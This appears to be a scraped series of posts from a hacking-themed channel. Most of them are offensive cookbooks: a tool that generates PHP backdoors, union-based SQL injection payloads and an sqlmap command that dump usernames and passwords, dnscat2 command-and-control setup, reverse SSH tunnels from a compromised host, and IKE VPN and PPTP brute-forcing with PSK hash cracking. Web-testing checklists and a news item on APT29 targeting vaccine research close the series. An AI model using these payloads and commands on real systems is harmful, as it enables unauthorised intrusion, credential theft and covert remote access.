▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑A Penetration Testing Framework, Information gathering tool & Website Vulnerability Scanner
Termux-Linux

You Can use this tool to Spider your website and get important information and gather information automaticaly using whatweb-host-traceroute-dig-fierce-wafw00f or to Identify the cms and to find the vulnerability in your website using Cms Exploit Scanner && WebApp Vul Scanner Also You can use killshot to Scan automaticly multiple type of scan with nmap and unicorn . And With this tool You can Generate PHP Simple Backdoors upload it manual and connect to the target using killshot
This Tool Bearing A simple Ruby Fuzzer Tested on VULSERV.exe And Linux Log clear script To change the content of login paths Spider can help you to find parametre of the site and scan xss and sql

🄸🄽🅂🅃🄰🄻🄻🄸🅂🄰🅃🄸🄾🄽 & 🅁🅄🄽 :

1️⃣Linux Setup


>git clone https://github.com/bahaabdelwahed/killshot

>cd killshot

>ruby setup.rb (if setup show any error just try to install the gems/tool manual )

>ruby killshot.rb

2️⃣Windows Setup

>Download ruby for windows ==> https://rubyinstaller.org/downloads/

>Download Cmder here ==> http://cmder.net/

>Download Curl For 64/32 ==> https://curl.haxx.se/windows/

>Download nmap ==> https://nmap.org/download.html


3️⃣choose options via numbers simply

Use for learn & Enjoy !
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Union Based SQL Injection :

' or 1=1#

1' ORDER BY 10#

1' UNION SELECT version(),2#

1' UNION SELECT version(),database()#

1' UNION SELECT version(),user()#

1' UNION ALL SELECT table_name,2 from information_schema.tables#

1' UNION ALL SELECT column_name,2 from information_schema.columns where table_name = "users"#

1' UNION ALL SELECT concat(user,char(58),password),2 from users#


sqlmap --url="<url>" -p username --user-agent=SQLMAP --threads=10 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs

source github
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Attacking Machine Installation:
#fastTips via Linux :

1️⃣apt-get update

2️⃣apt-get -y install ruby-dev git make g++

3️⃣gem install bundler

4️⃣git clone https://github.com/iagox86/dnscat2.git

5️⃣cd dnscat2/server

6️⃣bundle install

7️⃣Run dnscat2:

> ruby ./dnscat2.rb

8️⃣dnscat2> New session established: 1422

> dnscat2> session -i 1422

enjoy❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Useful Networking tips :


+ Setting up an Ethernet bridge in Ubuntu/Kali Linux

# Install bridge-utils
sudo apt-get install bridge-utils

# Disable network-manager + firewall

# Configuration

ifconfig
ifconfig eth0 0.0.0.0
ifconfig eth1 0.0.0.0
brctl addbr br0
brctl addif br0 eth0
brctl addif br0 eth1
ifconfig mybridge up
dhclient br0 on devices

sudo tcpdump -i mybridge

# adding routes
route add 192.168.1.0/24 gw 10.10.0.43

# Port Forwarding - accept traffic on a given IP address and port andredirect it to a different IP address and port
apt-get install rinetd
cat /etc/rinetd.conf
\# bindadress bindport connectaddress connectport
w.x.y.z 53 a.b.c.d 80

# SSH Local Port Forwarding: supports bi-directional communication channels
ssh <gateway> -L <local port to listen>:<remotehost>:<remote port>

# SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local
attacking box to tunnel ALL incoming traffic to ANY host in the DMZ
network on ANY PORT
ssh -D <local proxy port> -p <remote port><target>

# Proxychains - Perform nmap scan within a DMZ from an external computer

# Create reverse SSH tunnel from Popped machine on :2222
ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com
ssh -f -N -R 2222:<local host>:22 root@<remote host>

# Create a Dynamic application-level port forward on 8080 thru 2222
ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>

# Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains
proxychains nmap --top-ports=20 -sT -Pn $ip/24

# HTTP Tunneling
nc -vvn $ip 8888

enjoy❤️👍🏻
✅git topic
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑VPN HACKING METHODES & MORE

# VPN Hacking
- Identify VPN servers:
./udp-protocol-scanner.pl -p ike $ip

- Scan a range for VPN servers:
./udp-protocol-scanner.pl -p ike -f ip.txt

# Use IKEForce to enumerate or dictionary attack VPN servers:
pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git

# Perform IKE VPN enumeration with IKEForce:
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

### Bruteforce IKE VPN using IKEForce:
./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1

Use ike-scan to capture the PSK hash:
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP

Use psk-crack to crack the PSK hash

psk-crack hash-file.txt
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key


# PPTP Hacking Identifying PPTP, it listens on TCP: 1723
NMAP PPTP Fingerprint:

nmap –Pn -sV -p 1723 TARGET(S)
PPTP Dictionary Attack

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst


# VLAN Hopping
git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh`

enjoy❤️👍🏻
✅git topic
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑The right steps for Information Gathering

1) Manually explore the site

2) Spider/crawl for missed or hidden content

3) Check for files that expose content, such as robots.txt, sitemap.xml, .DS_Store

4) Check the caches of major search engines for publicly accessible sites

5) Check for differences in content based on User Agent (eg, Mobile sites, access as a Search engine Crawler)

6) Perform Web Application Fingerprinting

7) Identify technologies used

8) Identify user roles

9) Identify application entry points

10) Identify client-side code

11) Identify multiple versions/channels (e.g. web, mobile web, mobile app, web services)

12) Identify co-hosted and related applications

13) Identify all hostnames and ports

14) Identify third-party hosted content

enjoy❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Steps a good Configuration Management :

1) Check for commonly used application and administrative URLs

2) Check for old, backup and unreferenced files

3) Check HTTP methods supported and Cross Site Tracing (XST)

4) Test file extensions handling

5) Test for security HTTP headers (e.g. CSP, X-Frame-Options, HSTS)

6) Test for policies (e.g. Flash, Silverlight, robots)

7) Test for non-production data in live environment, and vice-versa

8) Check for sensitive data in client-side code (e.g. API keys, credentials)

enjoy❤️👍🏻
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Britain, the United States and Canada say that Russian intelligence agencies are trying to steal the new crown vaccine research results
#News

> The governments of the United Kingdom, the United States and Canada accused the Russian National Intelligence Agency of hacking into international pharmaceutical and academic research institutions with a view to winning the competition to develop the Covid-19 vaccine.

>It is unclear whether the research institute was damaged, or whether the vaccine project was blocked by hacking, but the above-mentioned national officials warned that cyber attacks are still in progress.

> The UK’s National Cyber Security Centre (NCSC) said in an unexpected statement on Thursday that vaccine and treatment departments in multiple countries have been targeted. However, the institution did not list the names and number of institutions affected by this.

> The United Kingdom refers to the hacking organization named APT29, saying it is "almost certainly" an integral part of the Russian national intelligence service. The group is also known as Cozy Bear or The Dukes, targeting vaccine development organizations in the United Kingdom, United States and Canada.

> According to NCSC, malicious activities have been ongoing, mainly aimed at government, diplomacy, think tanks, health and energy targets, aimed at stealing valuable intellectual property.

> Russia denied any involvement in hacking activities against the new coronavirus vaccine. Kremlin spokesman Dmitry Peskov told Bloomberg: "We don't know who might have hacked into pharmaceutical companies and research centers. We can only say that Russia has nothing to do with these attempts."


#News
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁